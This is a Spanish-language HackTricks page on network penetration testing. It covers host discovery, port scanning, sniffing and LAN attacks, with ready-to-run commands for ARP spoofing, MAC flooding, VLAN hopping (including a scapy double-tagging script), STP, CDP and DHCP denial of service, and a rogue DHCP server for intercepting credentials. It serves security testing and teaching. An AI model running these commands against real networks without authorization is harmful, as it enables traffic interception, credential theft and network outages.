hacktricks/generic-methodologies-and-resources/pentesting-network/README.md

# Pentesting de Red

<details>

<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

## Descubriendo hosts desde el exterior

Esta será una **sección breve** sobre cómo encontrar **IPs que responden** desde **Internet**.\
En esta situación, tienes algún **rango de IPs** (quizás incluso varios **rangos**) y solo necesitas encontrar **qué IPs están respondiendo**.

### ICMP

Esta es la forma **más fácil** y **rápida** de descubrir si un host está activo o no.\
Puedes intentar enviar algunos paquetes **ICMP** y **esperar respuestas**. La forma más sencilla es simplemente enviar una **solicitud de eco** y esperar la respuesta. Puedes hacerlo usando un simple `ping` o usando `fping` para **rangos**.\
También puedes usar **nmap** para enviar otros tipos de paquetes ICMP (esto evitará filtros para la solicitud-respuesta de eco ICMP común).
```bash
ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
```
### Descubrimiento de Puertos TCP

Es muy común encontrar que todos los tipos de paquetes ICMP están siendo filtrados. Entonces, todo lo que puedes hacer para verificar si un host está activo es **intentar encontrar puertos abiertos**. Cada host tiene **65535 puertos**, por lo tanto, si tienes un alcance "grande" **no puedes** probar si **cada puerto** de cada host está abierto o no, eso tomaría demasiado tiempo.\
Entonces, lo que necesitas es un **escáner de puertos rápido** ([masscan](https://github.com/robertdavidgraham/masscan)) y una lista de los **puertos más utilizados:**
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
### Descubrimiento de Puertos HTTP

Esto es simplemente un descubrimiento de puertos TCP útil cuando deseas **centrarte en descubrir servicios HTTP**:
```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### Descubrimiento de puertos UDP

También podrías intentar verificar si hay algún **puerto UDP abierto** para decidir si deberías **prestar más atención** a un **host**. Dado que los servicios UDP generalmente **no responden** con **ningún dato** a un paquete de sonda UDP vacío regular, es difícil decir si un puerto está siendo filtrado o abierto. La forma más fácil de decidir esto es enviar un paquete relacionado con el servicio en ejecución, y como no sabes qué servicio está en ejecución, deberías probar el más probable basado en el número de puerto:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
La línea de nmap propuesta anteriormente probará los **principales 1000 puertos UDP** en cada host dentro del rango **/24**, pero incluso solo esto llevará **>20min**. Si necesita **resultados más rápidos**, puede usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Esto enviará estas **sondas UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 minuto): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._

### Descubrimiento de Puertos SCTP
```bash
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
```
## Pentesting Wifi

Aquí puedes encontrar una guía completa de todos los ataques Wifi conocidos en el momento de la escritura:

{% content-ref url="../pentesting-wifi/" %}
[pentesting-wifi](../pentesting-wifi/)
{% endcontent-ref %}

## Descubriendo hosts desde el interior

Si estás dentro de la red, una de las primeras cosas que querrás hacer es **descubrir otros hosts**. Dependiendo de **cuánto ruido** puedas o quieras hacer, se pueden realizar diferentes acciones:

### Pasivo

Puedes utilizar estas herramientas para descubrir hosts de forma pasiva dentro de una red conectada:
```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
```
### Activo

Tenga en cuenta que las técnicas comentadas en [_**Descubriendo hosts desde el exterior**_](./#discovering-hosts-from-the-outside) (_Descubrimiento de puertos TCP/HTTP/UDP/SCTP_) también se pueden **aplicar aquí**.\
Sin embargo, al estar en la **misma red** que los otros hosts, puede hacer **más cosas**:
```bash
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
```
### ICMP Activo

Tenga en cuenta que las técnicas comentadas en _Descubriendo hosts desde el exterior_ ([_**ICMP**_](./#icmp)) también se pueden **aplicar aquí**.\
Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más cosas**:

* Si **haces ping** a una **dirección de difusión de subred**, el ping debería llegar a **cada host** y podrían **responderte**: `ping -b 10.10.5.255`
* Al hacer ping a la **dirección de difusión de red**, incluso podrías encontrar hosts dentro de **otras subredes**: `ping -b 255.255.255.255`
* Utiliza las banderas `-PE`, `-PP`, `-PM` de `nmap` para realizar el descubrimiento de hosts enviando respectivamente solicitudes de **eco ICMPv4**, **marca de tiempo** y **máscara de subred**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`

### **Wake On Lan**

Wake On Lan se utiliza para **encender** computadoras a través de un **mensaje de red**. El paquete mágico utilizado para encender la computadora es simplemente un paquete donde se proporciona una **MAC Dst** y luego se **repite 16 veces** dentro del mismo paquete.\
Estos tipos de paquetes suelen enviarse en un **ethernet 0x0842** o en un **paquete UDP al puerto 9**.\
Si no se proporciona una **\[MAC]**, el paquete se envía a **difusión ethernet** (y la MAC de difusión será la que se repita).
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
```
## Escaneo de Hosts

Una vez que hayas descubierto todas las IPs (externas o internas) que deseas escanear en profundidad, se pueden realizar diferentes acciones.

### TCP

* Puerto **abierto**: _SYN --> SYN/ACK --> RST_
* Puerto **cerrado**: _SYN --> RST/ACK_
* Puerto **filtrado**: _SYN --> \[SIN RESPUESTA]_
* Puerto **filtrado**: _SYN --> mensaje ICMP_
```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
```
### UDP

Hay 2 opciones para escanear un puerto UDP:

* Enviar un **paquete UDP** y verificar la respuesta _**ICMP unreachable**_ si el puerto está **cerrado** (en varios casos, ICMP estará **filtrado** por lo que no recibirás información si el puerto está cerrado o abierto).
* Enviar **datagramas formateados** para provocar una respuesta de un **servicio** (por ejemplo, DNS, DHCP, TFTP, y otros, como se detalla en _nmap-payloads_). Si recibes una **respuesta**, entonces el puerto está **abierto**.

**Nmap** combinará **ambas opciones** usando "-sV" (los escaneos UDP son muy lentos), pero ten en cuenta que los escaneos UDP son más lentos que los escaneos TCP:
```bash
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
```
### Escaneo SCTP

**SCTP (Protocolo de Transmisión de Control de Secuencia)** está diseñado para ser utilizado junto con **TCP (Protocolo de Control de Transmisión)** y **UDP (Protocolo de Datagramas de Usuario)**. Su principal propósito es facilitar el transporte de datos de telefonía sobre redes IP, reflejando muchas de las características de confiabilidad encontradas en **Sistema de Señalización 7 (SS7)**. **SCTP** es un componente central de la familia de protocolos **SIGTRAN**, que tiene como objetivo transportar señales SS7 sobre redes IP.

El soporte para **SCTP** es proporcionado por varios sistemas operativos, como **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** y **VxWorks**, lo que indica su amplia aceptación y utilidad en el campo de las telecomunicaciones y redes.

Nmap ofrece dos escaneos diferentes para SCTP: _-sY_ y _-sZ_
```bash
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### Evasión de IDS e IPS

{% content-ref url="ids-evasion.md" %}
[ids-evasion.md](ids-evasion.md)
{% endcontent-ref %}

### **Más opciones de nmap**

{% content-ref url="nmap-summary-esp.md" %}
[nmap-summary-esp.md](nmap-summary-esp.md)
{% endcontent-ref %}

### Revelación de direcciones IP internas

**Enrutadores, firewalls y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, los paquetes se pueden capturar en la interfaz **eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si su configuración está detrás de un NAT o un Firewall, es probable que dichos paquetes sean filtrados.
```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing

El sniffing te permite aprender detalles de rangos de IP, tamaños de subredes, direcciones MAC y nombres de host al revisar tramas y paquetes capturados. Si la red está mal configurada o la infraestructura de conmutación está bajo estrés, los atacantes pueden capturar material sensible a través del sniffing de red pasivo.

Si una red Ethernet conmutada está configurada correctamente, solo verás tramas de difusión y material destinado a tu dirección MAC.

### TCPDump
```bash
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
Uno también puede capturar paquetes desde una máquina remota a través de una sesión SSH con Wireshark como la interfaz gráfica en tiempo real.
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
```
### Bettercap
```bash
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
```
### Wireshark

Obviamente.

### Capturando credenciales

Puedes utilizar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un archivo pcap o de una interfaz en vivo.

## Ataques en LAN

### ARP spoofing

El ARP Spoofing consiste en enviar respuestas ARP gratuitas para indicar que la IP de una máquina tiene la MAC de nuestro dispositivo. Luego, la víctima cambiará la tabla ARP y contactará a nuestra máquina cada vez que quiera contactar a la IP falsificada.

#### **Bettercap**
```bash
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
```
#### **Arpspoof**
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```
### MAC Flooding - Desbordamiento de CAM

Desborda la tabla CAM del switch enviando una gran cantidad de paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un concentrador (transmitiendo todo el tráfico).
```bash
macof -i <interface>
```
En los switches modernos esta vulnerabilidad ha sido corregida.

### Ataques 802.1Q VLAN / DTP

#### Troncal Dinámica

El **Protocolo de Troncal Dinámica (DTP)** está diseñado como un protocolo de capa de enlace para facilitar un sistema automático de troncal, permitiendo que los switches seleccionen automáticamente puertos para el modo troncal (Trunk) o modo no troncal. La implementación de **DTP** a menudo se considera indicativa de un diseño de red subóptimo, subrayando la importancia de configurar manualmente troncales solo donde sea necesario y garantizar una documentación adecuada.

Por defecto, los puertos de switch están configurados para operar en modo Auto Dinámico, lo que significa que están listos para iniciar el troncal si son solicitados por un switch vecino. Surge una preocupación de seguridad cuando un pentester o atacante se conecta al switch y envía un marco DTP Deseable, obligando al puerto a entrar en modo troncal. Esta acción permite al atacante enumerar VLAN a través del análisis de marcos STP y eludir la segmentación de VLAN configurando interfaces virtuales.

La presencia de DTP en muchos switches de forma predeterminada puede ser explotada por adversarios para imitar el comportamiento de un switch, obteniendo así acceso al tráfico en todas las VLAN. El script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se utiliza para monitorear una interfaz, revelando si un switch está en modo Predeterminado, Troncal, Dinámico, Auto o Acceso, siendo esta última la única configuración inmune a los ataques de salto de VLAN. Esta herramienta evalúa el estado de vulnerabilidad del switch.

Si se identifica una vulnerabilidad de red, la herramienta _**Yersinia**_ puede ser utilizada para "habilitar el troncal" a través del protocolo DTP, permitiendo la observación de paquetes de todas las VLAN.
```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode
```
![](<../../.gitbook/assets/image (646) (1).png>)

Para enumerar las VLANs también es posible generar el marco DTP Desirable con el script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. No interrumpas el script bajo ninguna circunstancia. Inyecta DTP Desirable cada tres segundos. **Los canales de troncales creados dinámicamente en el switch solo permanecen activos durante cinco minutos. Después de cinco minutos, la troncal se desconecta.**
```
sudo python3 DTPHijacking.py --interface eth0
```
Me gustaría señalar que **Access/Desirable (0x03)** indica que el marco DTP es del tipo Deseable, lo que indica al puerto que cambie a modo Troncal. Y **802.1Q/802.1Q (0xa5)** indica el tipo de encapsulación **802.1Q**.

Al analizar los marcos STP, **aprendemos sobre la existencia de VLAN 30 y VLAN 60**.

<figure><img src="../../.gitbook/assets/image (18) (1).png" alt=""><figcaption></figcaption></figure>

#### Atacando VLANs específicas

Una vez que conozcas los valores de ID de VLAN e IPs, puedes **configurar una interfaz virtual para atacar una VLAN específica**.\
Si DHCP no está disponible, entonces usa _ifconfig_ para configurar una dirección IP estática.
```
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
```

```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
```

```bash
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
```
#### Saltador automático de VLAN

El ataque discutido de **Troncal Dinámica y creación de interfaces virtuales para descubrir hosts dentro** de otras VLAN se **realiza automáticamente** con la herramienta: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)

#### Doble Etiquetado

Si un atacante conoce el valor de la **MAC, IP y ID de VLAN del host víctima**, podría intentar **etiquetar dos veces un trama** con su VLAN designada y la VLAN de la víctima y enviar un paquete. Dado que la **víctima no podrá conectarse de vuelta** con el atacante, la **mejor opción para el atacante es comunicarse a través de UDP** con protocolos que puedan realizar algunas acciones interesantes (como SNMP).

Otra opción para el atacante es lanzar un **escaneo de puertos TCP suplantando una IP controlada por el atacante y accesible por la víctima** (probablemente a través de internet). Luego, el atacante podría espiar en el segundo host de su propiedad si recibe algunos paquetes de la víctima.

![](<../../.gitbook/assets/image (635) (1).png>) 

Para realizar este ataque, se puede usar scapy: `pip install scapy`
```python
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
```
#### Bypass de Segmentación Lateral de VLAN <a href="#d679" id="d679"></a>

Si tienes **acceso a un switch al que estás conectado directamente**, tienes la capacidad de **burlar la segmentación de VLAN** dentro de la red. Simplemente **cambia el puerto a modo troncal** (también conocido como trunk), crea interfaces virtuales con los IDs de las VLANs objetivo y configura una dirección IP. Puedes intentar solicitar la dirección de forma dinámica (DHCP) o configurarla estáticamente. Depende del caso.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %}
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
{% endcontent-ref %}

#### Bypass de VLAN Privada de Capa 3

En ciertos entornos, como redes inalámbricas para invitados, se implementan configuraciones de **aislamiento de puerto (también conocido como VLAN privada)** para evitar que los clientes conectados a un punto de acceso inalámbrico se comuniquen directamente entre sí. Sin embargo, se ha identificado una técnica que puede eludir estas medidas de aislamiento. Esta técnica explota la falta de ACLs de red o su configuración incorrecta, permitiendo que los paquetes IP se enrutan a través de un enrutador para llegar a otro cliente en la misma red.

El ataque se ejecuta creando un **paquete que lleva la dirección IP del cliente de destino pero con la dirección MAC del enrutador**. Esto hace que el enrutador reenvíe erróneamente el paquete al cliente objetivo. Este enfoque es similar al utilizado en los Ataques de Doble Etiquetado, donde la capacidad de controlar un host accesible para la víctima se utiliza para explotar la falla de seguridad.

**Pasos Clave del Ataque:**
1. **Creación de un Paquete:** Se crea un paquete especialmente diseñado para incluir la dirección IP del cliente objetivo pero con la dirección MAC del enrutador.
2. **Explotación del Comportamiento del Enrutador:** El paquete creado se envía al enrutador, que, debido a la configuración, redirige el paquete al cliente objetivo, eludiendo el aislamiento proporcionado por la configuración de VLAN privada.

### Ataques VTP

VTP (Protocolo de Troncalización de VLAN) centraliza la gestión de VLAN. Utiliza números de revisión para mantener la integridad de la base de datos de VLAN; cualquier modificación incrementa este número. Los switches adoptan configuraciones con números de revisión más altos, actualizando sus propias bases de datos de VLAN.

#### Roles de Dominio VTP

- **Servidor VTP:** Gestiona las VLAN, las crea, elimina, modifica. Emite anuncios VTP a los miembros del dominio.
- **Cliente VTP:** Recibe anuncios VTP para sincronizar su base de datos de VLAN. Este rol está restringido de realizar modificaciones locales en la configuración de VLAN.
- **Transparente VTP:** No participa en actualizaciones VTP pero reenvía anuncios VTP. No se ve afectado por los ataques VTP, mantiene un número de revisión constante de cero.

#### Tipos de Anuncios VTP

- **Anuncio Resumido:** Emitido por el servidor VTP cada 300 segundos, llevando información esencial del dominio.
- **Anuncio de Subconjunto:** Enviado tras cambios en la configuración de VLAN.
- **Solicitud de Anuncio:** Emitida por un cliente VTP para solicitar un Anuncio Resumido, típicamente en respuesta a detectar un número de revisión de configuración más alto.

Las vulnerabilidades de VTP son explotables exclusivamente a través de puertos troncales ya que los anuncios VTP circulan únicamente a través de ellos. Los escenarios de ataque posteriores a DTP podrían dirigirse hacia VTP. Herramientas como Yersinia pueden facilitar los ataques VTP, con el objetivo de eliminar la base de datos de VLAN, interrumpiendo efectivamente la red.

Nota: Esta discusión se refiere a la versión 1 de VTP (VTPv1).
```bash
%% yersinia -G # Launch Yersinia in graphical mode ```
```
### Ataques STP

**Si no puedes capturar tramas BPDU en tus interfaces, es poco probable que tengas éxito en un ataque STP.**

#### **DoS de BPDU STP**

Al enviar una gran cantidad de BPDUs TCP (Notificación de Cambio de Topología) o Conf (los BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **Ataque TCP STP**

Cuando se envía un TCP, la tabla CAM de los switches se eliminará en 15 segundos. Entonces, si estás enviando continuamente este tipo de paquetes, la tabla CAM se reiniciará continuamente (o cada 15 segundos) y cuando se reinicia, el switch se comporta como un concentrador.
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **Ataque de Raíz STP**

El atacante simula el comportamiento de un switch para convertirse en la raíz STP de la red. Luego, más datos pasarán a través de él. Esto es interesante cuando estás conectado a dos switches diferentes.\
Esto se logra enviando paquetes CONF de BPDUs diciendo que el valor de **prioridad** es menor que la prioridad real del switch raíz actual.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**Si el atacante está conectado a 2 switches, puede ser la raíz del nuevo árbol y todo el tráfico entre esos switches pasará a través de él** (se realizará un ataque MITM).
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```
### Ataques CDP

El Protocolo de Descubrimiento CISCO (CDP) es esencial para la comunicación entre dispositivos CISCO, permitiéndoles **identificarse mutuamente y compartir detalles de configuración**.

#### Recopilación Pasiva de Datos <a href="#0e0f" id="0e0f"></a>

CDP está configurado para transmitir información a través de todos los puertos, lo que podría representar un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar sniffeadores de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión de Cisco IOS identificada.

#### Inducir la Sobrecarga de la Tabla CDP <a href="#0d6a" id="0d6a"></a>

Un enfoque más agresivo implica lanzar un ataque de Denegación de Servicio (DoS) abrumando la memoria del switch, haciéndose pasar por dispositivos CISCO legítimos. A continuación se muestra la secuencia de comandos para iniciar dicho ataque utilizando Yersinia, una herramienta de red diseñada para pruebas:
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Durante este ataque, la CPU del switch y la tabla de vecinos CDP se ven fuertemente sobrecargadas, lo que a menudo se conoce como **"parálisis de red"** debido al consumo excesivo de recursos.

#### Ataque de Suplantación de CDP
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
También puedes usar [**scapy**](https://github.com/secdev/scapy/). Asegúrate de instalarlo con el paquete `scapy/contrib`.

### Ataques VoIP y la Herramienta VoIP Hopper

Los teléfonos VoIP, cada vez más integrados con dispositivos IoT, ofrecen funcionalidades como desbloquear puertas o controlar termostatos a través de números de teléfono especiales. Sin embargo, esta integración puede plantear riesgos de seguridad.

La herramienta [**voiphopper**](http://voiphopper.sourceforge.net) está diseñada para emular un teléfono VoIP en varios entornos (Cisco, Avaya, Nortel, Alcatel-Lucent). Descubre el ID de VLAN de la red de voz utilizando protocolos como CDP, DHCP, LLDP-MED y 802.1Q ARP.

**VoIP Hopper** ofrece tres modos para el Protocolo de Descubrimiento de Cisco (CDP):

1. **Modo de Sniff** (`-c 0`): Analiza paquetes de red para identificar el ID de VLAN.
2. **Modo de Spoof** (`-c 1`): Genera paquetes personalizados imitando los de un dispositivo VoIP real.
3. **Modo de Spoof con Paquete Predefinido** (`-c 2`): Envía paquetes idénticos a los de un modelo de teléfono IP Cisco específico.

El modo preferido por velocidad es el tercero. Requiere especificar:

- La interfaz de red del atacante (parámetro `-i`).
- El nombre del dispositivo VoIP que se está emulando (parámetro `-E`), siguiendo el formato de nomenclatura de Cisco (por ejemplo, SEP seguido de una dirección MAC).

En entornos corporativos, para imitar un dispositivo VoIP existente, uno podría:

- Inspeccionar la etiqueta MAC en el teléfono.
- Navegar por la configuración de la pantalla del teléfono para ver la información del modelo.
- Conectar el dispositivo VoIP a una computadora portátil y observar las solicitudes CDP utilizando Wireshark.

Un ejemplo de comando para ejecutar la herramienta en el tercer modo sería:
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
### Ataques DHCP

#### Enumeración
```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**

Se pueden realizar **dos tipos de DoS** contra los servidores DHCP. El primero consiste en **simular suficientes hosts falsos para utilizar todas las direcciones IP posibles**.\
Este ataque solo funcionará si puedes ver las respuestas del servidor DHCP y completar el protocolo (**Descubrir** (Comp) --> **Ofrecer** (servidor) --> **Solicitud** (Comp) --> **ACK** (servidor)). Por ejemplo, esto **no es posible en redes Wifi**.

Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código fuente todas las IP posibles**. Entonces, el servidor pensará que todos han terminado de usar la IP.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
Una forma más automática de hacer esto es utilizando la herramienta [DHCPing](https://github.com/kamorin/DHCPig)

Podrías utilizar los ataques de denegación de servicio mencionados para forzar a los clientes a obtener nuevas concesiones dentro del entorno, y agotar los servidores legítimos para que se vuelvan no responsivos. Así, cuando los legítimos intenten reconectarse, **puedes servir valores maliciosos mencionados en el siguiente ataque**.

#### Establecer valores maliciosos

Se puede configurar un servidor DHCP falso utilizando el script DHCP ubicado en `/usr/share/responder/DHCP.py`. Esto es útil para ataques de red, como capturar tráfico HTTP y credenciales, redirigiendo el tráfico a un servidor malicioso. Sin embargo, establecer un gateway falso es menos efectivo ya que solo permite capturar el tráfico saliente del cliente, perdiendo las respuestas del gateway real. En su lugar, se recomienda configurar un servidor DNS o WPAD falso para un ataque más efectivo.

A continuación se muestran las opciones de comando para configurar el servidor DHCP falso:

- **Nuestra dirección IP (Anuncio de Gateway)**: Usa `-i 10.0.0.100` para anunciar la IP de tu máquina como el gateway.
- **Nombre de Dominio DNS Local**: Opcionalmente, usa `-d example.org` para establecer un nombre de dominio DNS local.
- **IP del Router/Gateway Original**: Usa `-r 10.0.0.1` para especificar la dirección IP del router o gateway legítimo.
- **IP del Servidor DNS Primario**: Usa `-p 10.0.0.100` para establecer la dirección IP del servidor DNS falso que controlas.
- **IP del Servidor DNS Secundario**: Opcionalmente, usa `-s 10.0.0.1` para establecer una IP de servidor DNS secundario.
- **Máscara de Red Local**: Usa `-n 255.255.255.0` para definir la máscara de red para la red local.
